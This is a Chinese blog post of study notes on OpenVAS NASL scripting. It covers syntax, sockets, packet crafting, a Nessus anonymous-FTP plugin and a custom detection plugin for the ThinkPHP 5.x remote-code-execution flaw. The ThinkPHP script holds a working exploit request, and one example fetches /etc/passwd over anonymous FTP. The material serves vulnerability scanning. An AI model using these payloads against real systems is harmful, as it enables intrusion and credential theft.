openvas-nasl基本使用

最近在看openvas,以下是基础知识笔记

资料来源:

http://books.gigatux.nl/mirror/networksecuritytools/0596007949/toc.html

https://blog.csdn.net/weixin_41010318/article/details/79291004

https://www.tr0y.wang/2018/12/31/openvas/index.html

 

1、nasl基础

1.1、openvas-nasl  -h

 

1.2、匿名/非匿名(Non-anonymous Function)

   当函数参数有次序要求,并且这个函数的参数是不同的类型,这个函数就是一个非匿名函数

   如果函数只有一个参数,或者所有参数的类型是相同的,这种函数就叫做匿名函数

   注:用户定义的函数必须使用非匿名函数(non-anonymous)参数,NASL能够处理递归调用

 

1.3、hello world

编写脚本openvas_hello_world.nasl

display("Hello World \n");

不使用证书和签名,运行脚本

openvas-nasl -X ./openvas_hello_world.nasl

 

1.4 、数据类型

数值常量:前缀“0x”表示十六进制数字, 前缀“0”表示8进制

字符串:常规转义

列表:myarray = mske_list(1, "two");     有 myarray[0] = 1      myarray[1] = two

哈希值:myports = make_array('telnet', 23, 'http', 80);    有 myports['telnet'] = 23, myports['http'] = 80

局部变量:默认情况下,变量是局部变量,如有需要也可使用local_var精确说明

全局变量:   global_var myglobalvariable

 

1.5、算术运算符

+     用于加号。它也可以用来执行字符串连接
--    用于执行减法。它也可以用于执行字符串减法。例如,' cat,dog,mouse'-',dog '生成字符串' cat,mouse '
*     用于乘法
/     用于除法,尝试除以零,NASL返回0
%     用于执行模运算
**    用于执行幂运算
++    变量值加1

 

1.6、比较运算符

><    用于测试字符串中是否存在给定的子字符串。例如,' 123'> <'abcd123def '的计算结果为 TRUE

>!<   用于测试字符串中是否不存在给定的子字符串。在这种情况下,' 123'>!<'abcd123def '的值为FALSE

=~    用于匹配正则表达式。使用该运算符类似于调用ereg()函数调用,后者执行类似的操作。例如,仅当str以字符串GET / HTTP / 1.0 / r \ n开头时,语句str =〜'^ [GET / HTTP / 1.0 \ r \ n \ r \ n] [。] *')的计算结果为 TRUE 。 \ r \ n

!~    用于测试正则表达式是否 不匹配。它与=〜运算符相反 

 

1.7、赋值运算

=   +=   -+   *=   /=    %=    

 

1.8、条件判断

常规 if...else

 

1.9、循环

for 循环

foreach 循环,遍历列表
foreach i (myports)
{ 
    display (i, "\n");
}

repeat...until 先执行,后判断,为真则退出
i=0;
repeat
{
    display ("Looping!\n");
} until (i == 0);


while循环

 

1.10、预定义和全局变量

1true false
true = 1       false = 0

2、NULL
i == NULL   等价于i与0比较
str == NULL  等价于str与空字符串比较

3、脚本目录
以下参数能够在任何目录下通过script_category( )引入
ACT_ATTACK
ACT_DENIAL
ACT_DESTRUCTIVE_ATTACK
ACT_GATHER_INFO
ACT_INIT
ACT_KILL_HIST
ACT_MIXED_ATTACK
ACT_SCANNER
ACT_SETTINGS

4、网络传输
open_sock_tcp() 接受一个可选参数,指定以特定方式建立传输层连接,当设置为ENCAPS_IP时,表示纯TCP套接字
ENCAPS_SSLv23
ENCAPS_SSLv2
ENCAPS_SSLv3
ENCAPS_TLSv1
get_port_transport()函数将套接字号作为参数,并返回其封装,该封装包含前面列表中指定的常量之一

5、重要的NASL函数
简单的字符串操作函数
chomp()    字符串作为参数,去除字符串末尾任何回车符、换行符、制表符或空格
crap() 用于重复出现的指定字符串填充缓冲区, crap(length:10, data:'a') => aaaaaaaaaa ,未指定数据,使用默认值X
strcat() 连接字符串,并将常量转换为字符串格式, strcat('abcd', 'efgh', 1234) => abcdefgh1234

 

 

2、网络相关函数

2.1、套接字的处理

  套接字是使用TCP或者UDP协议和其它主机通讯的途径。在NASL中不允许你直接打开一个和测试目标通讯的套接字,因此你只能使用NASL提供的函数打开套接字

2.2、如何打开一个套接字

  在NASL中,函数open_sock_tcp()和open_sock_udp()分别用于打开一个TCP或者UDP套接字。这两个函数使用匿名(anonymous)参数

#在80端口打开一个TCP套接字
soc1 = open_sock_tcp(80);

#在123端口打开一个UDP套接字
soc2 = open_sock_udp(123);

  如果无法和远程主机建立连接,这两个函数就会返回0,通常open_sock_udp()不会失败,因为没有办法确定远程主机的UDP端口是否开放,对于open_sock_tcp(),如果远程主机的端口是关闭的,它就会返回0

  open_sock_tcp()可以用于对TCP端口的简单扫描,例如:

strat = prompt('First port to scan?'); #输入开始的端口
end  = prompt('Last port to scan?'); #输入结束的端口

for(i = start; i < end; i++)
{
  soc = open_sock_tcp(i);
  if(soc){
    display('Port', i, 'is open');
    close(soc);
  }
}

2.3、如何关闭一个端口

关闭一个端口使用close()函数,在close()内部,关闭端口之前,它首先会调用shutdown()函数

2.4读取套接字

#根据被读写的套接字类型,可以选择使用如下函数完成这两项操作

recv(socket:;length:[,timeout:])
#从套接字中读取length个字节,这个函数可以用于TCP和UDP。超时(timeput)参数可选,单位为秒

recv_line(socket:,length:[,timeout:])
#这个函数和recv()函数类似,只是如果遇到换行()操作终止。这个函数只能用于TCP套接字

send(socket:,data:[,length:])
#从套接字发送数据。可选参数length告诉函数发送字节。如果没有设置length,发送操作就在遇到NULL时终止。

如果没有设置超时参数,读函数(recv()和recv_line())就使用默认的超时时间5秒。如果时间到,它们就返回FALSE

#以下代码用于显示远程主机的banner信息

soc = open_sock_tcp(21);
if(soc)
{
  data = recv_line(socket:soc, length:1024);
if(data)
{
  display('The remote FTP banner is :', data, '');
}
else
{
  display('The remote FTP server seems to be tcp-wrapper');
}
close(soc);
}

 

 

3、高层操作

  3.1、NASL有一些针对FTP和WWW协议的函数,用于简化对这两个应用层协议的某些操作

ftp_log_in(socket:,user:,pass:)
#尝试通过套接字登录到FTP主机。如果用户名和密码都正确,就返回TRUE,否则返回FALSE

ftp_get_pasv_port(socket:)
#向远程FTP服务器发出一个PASV命令,获得连接的端口。NASL脚本可以通过这个端口从FTP服务器下载数据。如果发生错误函数将返回FASLE

is_cgi_installed()
#测试远程WEB服务器是否安装了名为CGI程序。这个函数向远程WEB服务器发出GET请求实现这个目的,如果不是以斜杠(/)开头,就认为它是相对于/cig-bin/。这个函数也可以用于确定某个文件是否存在

示例脚本:

#
#针对www服务器的测试
#

if(is_cgi_installed('/robots.txt')){
  display('The file /robots.txt is present');
}

if(is_cgi_installed('php.cgi')){
  display('The CGI php.cgi is installed in /cgi-bin/');
}

if(!is_cgi_installed('/php.cgi')){
  display('There is no php.cgi in the remote web root');
}
#
# 针对FTP服务器的测试
#

# 打开一个连接
soc = open_sock_tcp(21);

# 匿名登录到远程FTP主机
if(ftp_log_in(socket:soc,user:'anonymous',pass:'joe@'))
{
# 打开一个被动传输模式的端口
port = ftp_get_pasv_port(socket:soc);
if(port)
{
soc2 = open_sock_tcp(port);

#尝试获得远程系统的/etc/passwd文件
data = string('RETR /etc/passwd ');
send(socket:soc,data:data);
password_file = recv(socket:soc2,length:10000);
display(password_file);
close(soc2);
}
close(soc);
}

3.2、原始报文的处理

    NASL允许用户构造自己的IP报文,而且报文的定制是以一种智能的方式进行的。例如,如果你改变了一个TCP报文的某个参数,就会造成其TCP校验和发生改变,但是你不必为此费心,NASL会自动完成。所有的原始报文构造函数都使用非匿名(non-anonymous)参数。参数的名字都是来自BSD的包含文件。因此一个IP报文的长度域叫做ip_len而不是length。

3.3、构造原始报文

  在NASL中,你可以使用forge_ip_packet()函数构造一个新的IP报文;使用get_ip_element()函数获得报文某个域的值;使用set_ip_element()函数改变现有IP报文某个域的值。

  forge_ip_packet函数的原形如下:

forge_ip_packet(ip_hl :, ip_v :, ip_tos :, ip_len :, ip_id :, ip_off :, ip_ttl :, ip_p :, ip_src :, ip_dst :, [ip_sum :]);

#其中,ip_sum参数是可选的,如果没有使用,NASL会自动计算报文的校验和。ip_p参数可以是一个整数值,或者是IPPROTO_TCP、IPPROTO_UDP、IPPROTO_ICMP、IPPROTO_IGMP或者IPPROTO_IP等常量中的某个值。

  get_ip_element()函数的原型如下:

get_ip_element(ip :,element :'ip_hl'|'ip_v'|ip_tos'|'ip_len'|'ip_id'|'ip_off'|'ip_ttl'|'ip_p'|'ip_sum'|'ip_src'|'ip_dst');

  #get_ip_element()将返回报文中的某个域的值。element参数必须是'ip_hl'、'ip_v'、ip_tos'、'ip_len'、'ip_id'、'ip_off'、'ip_ttl'、'ip_p'、'ip_sum'、'ip_src'、'ip_dst'中的一个,而且引号是必不可少的。

  set_ip_elements()函数的原型如下:

set_ip_elements(ip :, [ip_hl :,] [ip_v :,] [ip_tos :,] [ip_len :,] [ip_id :,] [ip_off :,] [ip_ttl :,] [ip_p :,] [ip_src :,] [ip_dst :,] [ip_sum :] );

#这个函数可以改变IP报文的值,如果你没有修改ip_sum域的值,它会自动重新计算。这个函数没有构造报文的能力,因此需要把它放在forge_ip_packet()函数之后。

最后,还有一个函数dump_ip_packet()需要说明一下,这个函数能够以可读的方式把IP报文的内容输出到屏幕。这个函数应该只用于调试目的。

 

3.4、读取报文

 你可以使用pcap_next()函数读取一个报文,其原型如下:

  reply = pcap_next();

  这个函数将从你使用的最后一个接口读取一个报文,报文的类型取决于最后设置的pcap类型

 

3.5、工具函数

this_host()
#获得运行脚本的主机IP地址,没有参数

get_host_name()
#返回当前被测试主机的主机名,没有参数

get_host_ip()
#返回当前被测试主机的IP地址,没有参数

get_host_open_port()
#获取远程主机打开的第一个端口号,没有参数。这个函数对于某些脚本(例如:land)非常有用,有些TCP序列号分析程序需要通过这个函数获取远程主机一个打开的端口

get_port_stat()
#如果TCP端口打开或者其状态未知,就返回TRUE

telnet_init()
#在一个打开的套接字上初始化一个telnet会话,并且返回telnet数据的第一行
例:
xoc = open_sock_tcp(23);
buffer = telnet_init(soc);
display('The remote telnet banner is ', buffer, '');

tcp_ping()
#如果远程主机应答TCP ping请求(发送一个设置ACK标志的TCP报文),本函数就返回TRUE,没有参数。

getrpcport()
获取远程主机的RPC端口号,原型为:
result = getrpcport((program:<PROGRAM_NUMBER), protocol:<IPPROTO_TCP|IPPROTO_UDP, [version:])
#如果远程主机的程序没有在RPC portmap监控进程中注册就返回0

 

4、脚本举例

#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10079);
 script_version ("$Revision: 1.2 $");
 script_cve_id("CAN-1999-0497");
 script_name(english:"Anonymous FTP enabled");

 script_description(english:"
This FTP service allows anonymous logins. If you do not want to share data
with anyone you do not know, then you should deactivate the anonymous account,
since it can only cause troubles.

Risk factor : Low");

 script_summary(english:"Checks if the remote ftp server accepts anonymous logins");

 script_category(ACT_GATHER_INFO);
 script_family(english:"FTP");
 script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison");
 script_dependencie("find_service.nes", "logins.nasl", "smtp_settings.nasl");
script_require_ports("Services/ftp", 21);
 exit(0);
}

#
# The script code starts here :
#

include("ftp_func.inc");

port = get_kb_item("Services/ftp");
if(!port)port = 21;

state = get_port_state(port);
if(!state)exit(0);
soc = open_sock_tcp(port);
if(soc)
{
 domain = get_kb_item("Settings/third_party_domain");
 r = ftp_log_in(socket:soc, user:"anonymous", pass:string("nessus@", domain));
 if(r)
 {
  port2 = ftp_get_pasv_port(socket:soc);
  if(port2)
  {
   soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
   if (soc2)
   {
    send(socket:soc, data:'LIST /\r\n');
    listing = ftp_recv_listing(socket:soc2);
    close(soc2);
    }
  }

  data = "
This FTP service allows anonymous logins. If you do not want to share data
with anyone you do not know, then you should deactivate the anonymous account,
since it may only cause troubles.

";

  if(strlen(listing))
  {
   data += "The content of the remote FTP root is :

" + listing;
  }

 data += "

Risk factor : Low";

  security_warning(port:port, data:data);
  set_kb_item(name:"ftp/anonymous", value:TRUE);
  user_password = get_kb_item("ftp/password");
  if(!user_password)
  {
   set_kb_item(name:"ftp/login", value:"anonymous");
   set_kb_item(name:"ftp/password", value:string("nessus@", domain));
  }
 }
 close(soc);
}

该插件通过查询Services/ftp的知识库来测试远程主机是否正在运行ftp服务,插件执行后能够将Services/ftp的值设置为找到FTP服务的端口号,如果get_kb_item()函数没有返回值,则端口号被设置为21

如果给定端口关闭,get_port_state()函数返回FALSE,调用exit(0)退出。返回TRUE,则通过open_sock_tcp()函数建立TCP连接。通过查询知识库中的Settings/third_party_domain项,将变量domain设置为返回的字符串。默认情况下设置为example.com.

ftp_log_in()函数被用来远程登录目标主机的ftp服务,参数有:username(user),password(pass),和 port number(socker),如果能成功通远程主机的FTP服务验证,则返回true,否则返回false。在本例中,传递给ftp_log_in()函数的用户名是匿名的,应为该插件测试是匿名测试,发送的密码将是字符串nessus@example.com。如果ftp_log_in()返回true插件将会调用ftp_get_pasv_port()函数,发送PASV命令到FTP服务,服务器回返回端口号用于建立被动(passive)连接的FTP服务,端口号被ftp_get_pasv_port()函数返回,存储在变量port2中。

open_sock_tcp()函数通过port2指定的目标主机的端口号与本机建立TCP连接,接下来,使用send()函数将LIST字符串打印到套接字描述符(soc2)。FTP服务将会调用ftp_recv_listing()函数返回一个当前目录的列表,存储在listing字符串中。

security_warnbing()函数向Nessus用户指出安全警告,ftp/anonymous在示例中被指定为true,以指示主机通过匿名访问的方式访问目标主机的ftp服务,该插件将会检查ftp/password,如果未设置该选项,则该插件会将ftp/login和ftp/anonymous的值分别设置为anonymous和nessus@example.com

 

 5、插件分析

cross_site_scriping.nasl插件功能举例

script_category(ACT_GATHER_INFO)
#ACT_GATH (信息采集类脚本)
#ACT_ATTACK (尝试获取远程主机权限脚本)
#ACT_DENIAL(拒绝服务***脚本)
#ACT_SCANNER(端口扫描脚本)
category代表了脚本执行的优先级,通过宏对各类category值的优先级进行定义,NASL脚本按照下表中category优先级由高到低执行,相同优先级按照脚本id顺序执行

script_family("Web Servers");
设置脚本所属的族(family),NASL对此没有明确规定,插件作者可以自己定义脚本所属的族

 script_dependendes("find_service.nasl", "httpver.nasl");
说明脚本依赖关系,如果要让cross_site_scriping.nasl正常运行,必须依赖find_service.nasl""httpver.nasl"这两个脚本

port = get_http_port( default:80 );
获取服务器端口

if(get_port_state(port));
判断端口是否打开

req = http_get( item:url, port:port );
发送带有攻击性的请求
注意:nasl脚本主要是对攻击的描述,只是说明的攻击的步骤,不是通常意义上的攻击

res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
 接收响应

 

6、openvas脚本加载过程

    启动openvas时,由openvassd进程加载所有的脚本(/var/lib/openvas/plugins/下的*.nasl脚本),存储为argiist结构(数量可变的参数列表指针);根据客户端传递的配置星系,选取需要的脚本,加载为scheduler_plugin结构;最后根据选取脚本的category将脚本分组,组织脚本的执行顺序,保存到plugins_scheduler-struct结构

 

7、编写自己的脚本并加载到OpenVas

    在/var/lib/openvas/pligins/下新建文件夹,存放自己的nasl脚本文件,thinkphp-2018-12-09.nasl文件内容如下:

 

if(description)
{
    script_oid(1545919522); # 设为时间戳
    script_tag(name:"last_modification", value:"$Date: 2018-12-31 10:28:30 +0100 (Mon, 31 Dec 2018) $");
    script_tag(name:"creation_date", value:"2018-12-27 22:05:22 +0100 (Thu, 27 Dec 2018)");
    script_version("$Revision:2.0$");
    script_name("ThinkPHP RCE(2018.12.09)");
    script_tag(name:"cvss_base", value:"8.3");
    script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C");
    # 设置脚本类型
    # 类型如下:
    # ACT_INIT: Plugin sets KB items.
    # ACT_SlistlisCANNER: Plugin is a port scanner or similar (like ping).
    # ACT_SETTINGS: Plugin sets KB items after ACT_SCANNER.
    # ACT_GATHER_INFO: Plugin identites services, parses banners.
    # ACT_ATTACK: For non-intrusive attacks (eg directory traversal).
    # ACT_MIXED_ATTACK: Plugin launches potentially dangerous attacks.
    # ACT_DESTRUCTIVE_ATTACK: Plugin attempts to destroy data.
    # ACT_DENIAL: Plugin attempts to crash a service.
    # ACT_KILL_HOST: Plugin attempts to crash target host.
    script_category(ACT_ATTACK);
    script_copyright("CopyRight: XinDun in 2018.12.27");
    script_family("MyNVTs");
    script_require_ports("Services/www", 80);
    script_tag(name:"summary", value:"Send a payload: '?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y', expected return md5('Tr0y'): 8f95eca949e2ec377434ea3fea1cc381");
    script_tag(name:"solution", value:"see https://blog.thinkphp.cn/869075 for more detials");
    script_tag(name:"insight", value:"This vulnerability affects these versions: ThinkPHP v5.0: < 5.0.23 and ThinkPHP v5.1 < 5.1.31");
    script_tag(name:"affected", value:"The site which powerd by thinkphp with specific version.");
    exit(0);    
}

# 添加库
include('/var/lib/openvas/plugins/http_func.inc'); # 路径不一定是这个
include('/var/lib/openvas/plugins/global_settings.inc'); # 路径不一定是这个
# --------------------------------
# 发送 payload
# 获取 www 端口,默认为 80
port = get_http_port(default: 80);
str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n");
# 发送 payload 并返回服务器的响应
recv = http_send_recv(port: port, data: str);
# DEBUG 使用,打印返回的 header+body
display(recv, "\n");
# 利用正则检查 payload 是否执行成功
vulnerable = egrep(pattern:'8f95eca949e2ec377434ea3fea1cc381', string:recv);
if(vulnerable) 
{
    report = "Thinkphp v5.x Vulnerable!";
    security_message( port:port, data:report); # 给 OpenVAS 的反馈,执行这个才会有 vulnerable 显示
}
else report = "Thinkphp v5.x NOT vulnerable";
# DEBUG 使用
# display(report);
exit( 0 );

 

  使用openvas-nasl  debug 将debug语句注释去掉,运行该脚本,-X参数表示不验证nasl文件的有效性,-t参数,将url传递给脚本

 

   编写并检查完脚本后,执行

service openvas-manager restart
service openvas-scanner restart
openvasmd --rebuild --progress

  在web端识别到我们自定义的NVT

 

   

posted @ 2019-11-18 10:00  换头怪  阅读(3576)  评论(0编辑  收藏  举报